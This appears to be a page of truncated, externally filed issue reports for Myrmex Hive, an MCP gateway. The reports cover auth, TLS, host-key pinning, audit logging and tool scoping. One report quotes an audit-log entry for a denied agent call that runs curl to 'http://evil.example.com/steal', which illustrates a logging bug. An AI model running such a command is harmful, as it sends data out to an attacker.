Reported issues for Myrmex Hive

Pod holds 20 of 24 problems reported by people outside the maintainer team. Issues filed by the project's own owners, members and collaborators are excluded entirely — a maintainer's release checklist is not a warning to a prospective user.

Back to Myrmex Hive.

Most discussed

Alert webhook has no auth (bearer/custom headers) or TLS control

Problem

alert_webhook_url (#100) POSTs alerts to an arbitrary endpoint with no authentication. There is no field for a bearer token or custom headers, so the only way to authenticate today is to smuggle a secret into the URL itself — which then lands in config, logs and error messages.

Documented as a known gap in docs/OBSERVABILITY.md:

No auth on the webhook yet. There is no field for a bearer token or custom headers, so point alert_webhook_url at an endpoint that either do

Read the thread · 2026-07-14 · closed · 1 comment

Tenant isolation / per-tenant token namespaces

Problem

Today all tokens and agents share one flat namespace, so the gateway cannot safely serve multiple tenants (MSP use case).

Acceptance

• Introduce a tenant dimension: tokens, agents, and tool access scoped per tenant.
• A tenant cannot see or call another tenant's agents/tools.
• Backward-compatible: single implicit tenant when multi-tenancy is not configured.

Read the thread · 2026-07-02 · closed · 1 comment

Submit server.json to the public MCP registry

Problem

Myrmex Hive is a working MCP server but is not discoverable in the public MCP registry.

Acceptance

• Author/validate a server.json describing the gateway MCP server.
• Submit to the public MCP registry and document the process.
• CI check keeps server.json valid against the registry schema.

Read the thread · 2026-07-02 · closed · 1 comment

[Epic] Operational Polish & DX

Summary

Gaps in health checks, versioning, branding consistency, install method, and MCP-ecosystem distribution. This epic tracks operational-polish and developer-experience work to make Myrmex Hive production-friendly and easy to adopt.

Child issues

• #54 — Unauthenticated /healthz and /readyz endpoints
• #60 — --version / build info in all binaries
• #65 — Fix branding/module-path consistency
• #68 — Installer pulls released binaries instead of compiling on target

Read the thread · 2026-07-02 · closed · 1 comment

Constant-time token comparison

Problem: Bearer token validation used == comparison, exposing a timing side-channel. Acceptance: Token comparison uses subtle.ConstantTimeCompare.

Read the thread · 2026-07-02 · closed · 1 comment

Never log auth token; write secret files 0600

Problem: The auth token was written to logs and config files were created world-readable (0644). Acceptance: Auth tokens are never logged; secret files are written with 0600 permissions.

Read the thread · 2026-07-02 · closed · 1 comment

Verify gateway host key on agent + TLS verify by default in CLI

Problem: The agent used InsecureIgnoreHostKey and the CLI defaulted to insecure TLS, enabling MITM. Acceptance: Host key is pinned or TOFU-verified on the agent; CLI Insecure defaults to false.

Read the thread · 2026-07-02 · closed · 1 comment

Bind agent identity to authorized_keys key comment (anti-spoofing)

Problem: The gateway trusted the attacker-controlled SSH username as the agent-id, allowing spoofing of any agent. Acceptance: Agent id is bound to the key's authorized_keys comment; the gateway rejects mismatches and duplicate-agent registration.

Read the thread · 2026-07-02 · closed · 1 comment

Most recent

Audit log records DENIED tool calls as status=success

What

A tool call refused by the agent's allowlist is written to the signed audit log as:

{"action":"api_call","command":"run_command {\"name\":\"curl\",\"args\":[\"-s\",\"--max-time\",\"3\",\"http://evil.example.com/steal\"]}","status":"success","details":"Tool execution completed"}

status: success, details: Tool execution completed — for a call that never executed.

Why it matters

The refusal happens agent-side; the gateway only sees that the round trip completed,

Read the thread · 2026-07-21 · closed · 0 comments

Full OIDC/JWKS token validation (native)

Problem

Gateway auth maps static bearer tokens to roles. Enterprise SSO requires validating real OIDC-issued JWTs natively, not just trusting a proxy header.

Acceptance

• Native OIDC support: validate JWT signatures against a JWKS endpoint, check issuer/audience/expiry.
• Map validated claims to existing roles (admin/operator/read-only).
• Static tokens remain supported for backward compatibility.

Read the thread · 2026-07-02 · closed · 0 comments

Enforce fine-grained agent/tool scoping on the /message SSE MCP path

Follow-up from epic #27: per-token agent/tool scoping (authorizeToolCall) is enforced on the REST /api/call path but NOT the /message SSE MCP transport, which currently enforces only path-level RBAC. Threading the request scope through the async JSON-RPC dispatch needs a handler-signature refactor. Tracked separately so epic #27 can close.

Read the thread · 2026-07-02 · closed · 0 comments

Publish gateway as a first-class MCP server in public registries

Problem

The Gateway is a full MCP server but is not distributed through the MCP ecosystem, limiting discoverability and adoption.

Acceptance

• Publish the Gateway as a first-class MCP server in public MCP registries (e.g. the MCP server registry / directories).
• Provide required metadata/manifest and install instructions for MCP clients.
• Document the distribution/publishing process for future releases.

Read the thread · 2026-07-02 · closed · 0 comments

External host-public-key distribution for third-party verification

Problem: Third-party auditors cannot independently verify the signed audit log without trusted access to the gateway host public key. There is no supported way to publish/distribute it.

Acceptance:

• Gateway exposes/publishes its host public key (e.g. REST endpoint and/or exportable file).
• Documented, offline-friendly way for auditors to obtain and pin the key.
• myrmex audit verify can consume an externally distributed public key file.
• Key format and fingerprint are documented for out-of

Read the thread · 2026-07-02 · closed · 0 comments

OIDC/SSO for operator authentication

Problem

Operator authentication is static bearer-token only (tokens map to roles). This lacks central identity, expiry, and SSO integration. Operators should be able to authenticate via OIDC/SSO.

Acceptance

• Gateway supports OIDC/SSO login for operators (CLI, MCP, REST) alongside or replacing static bearer tokens.
• Identity claims map to existing roles (admin/operator/read-only).
• Tokens/sessions expire; identity is captured in the signed audit log.

Read the thread · 2026-07-02 · closed · 0 comments

Enrollment API with short-lived join tokens

Problem

Onboarding a new agent is manual: generate an Ed25519 keypair, then hand-edit the gateway's authorized_keys. This does not scale and is error-prone. Agents should be able to self-register with a one-time, short-lived join token instead of manual key editing.\n\n## Acceptance\n\n- Gateway exposes an enrollment endpoint that accepts a short-lived, single-use join token.\n- On valid token, the agent's public key is registered automatically (no manual authorized_keys editing).\n- Joi

Read the thread · 2026-07-02 · closed · 0 comments

Tool schema versioning + capability advertisement

Problem

As typed tools are added, agents will vary in which tools and versions they support. The Gateway/LLM needs a way to know each agent's capabilities rather than assuming a fixed tool set.\n\n## Acceptance\n- Agents advertise supported typed tools and their schema versions.\n- Gateway surfaces per-agent capabilities (e.g. via tools/list metadata).\n- Versioning scheme defined so schema changes are detectable.\n- LLM orchestration can gate calls on advertised capability/version.

Read the thread · 2026-07-02 · closed · 0 comments

Kubernetes node/pod introspection tool

Problem

Kubernetes queries through free-form run_command are unstructured and risk mutating actions slipping through the allowlist. A typed, read-only tool constrains and structures cluster introspection.

Acceptance

• Typed read-only tool for kubectl-style node/pod queries (get/describe/logs).
• Mutating verbs rejected by construction.
• Validated inputs (namespace, resource name, log bounds).
• Structured output for nodes/pods and bounded logs.

Read the thread · 2026-07-02 · closed · 0 comments

Bounded file read/transfer tool

Problem

Reading or fetching files today relies on run_command (cat/head/etc.), with no size bounds or path restrictions. This risks unbounded output and access outside intended directories.

Acceptance

• Typed tool to read/fetch files from allowlisted paths only.
• Enforced maximum size limit with clear truncation/error behavior.
• Path validation rejects traversal outside allowlisted roots.
• Structured result (content/bytes, truncated flag, size).

Read the thread · 2026-07-02 · closed · 0 comments

Per-request model override, timeouts, retries

Problem

Model selection is fixed and LLM calls lack resilience controls. Operators need per-request model choice and the orchestration path needs timeouts and retries so a slow/unavailable engine does not hang requests.

Acceptance

• REST/MCP LLM entry points (/api/chat, ask) accept an optional per-request model override.
• Configurable request timeout and bounded retry/backoff for engine calls.
• Sensible defaults; failures return a clear error instead of hanging.
• Applies across a

Read the thread · 2026-07-02 · closed · 0 comments

Agent heartbeat + liveness tracking

Problem

Agents report system info once at connect and the registry is purely in-memory. The Gateway has no way to detect a disconnected or stale agent — a dead tunnel looks the same as a healthy one until an operator tries to call it.

Acceptance

• Agents send periodic heartbeats over the mcp channel (configurable interval).
• Gateway tracks last-seen per agent and derives a liveness state (online / stale / offline).
• Disconnects and staleness are detected within a bounded window and su

Read the thread · 2026-07-02 · closed · 0 comments

The remaining reports are on the project's issue tracker.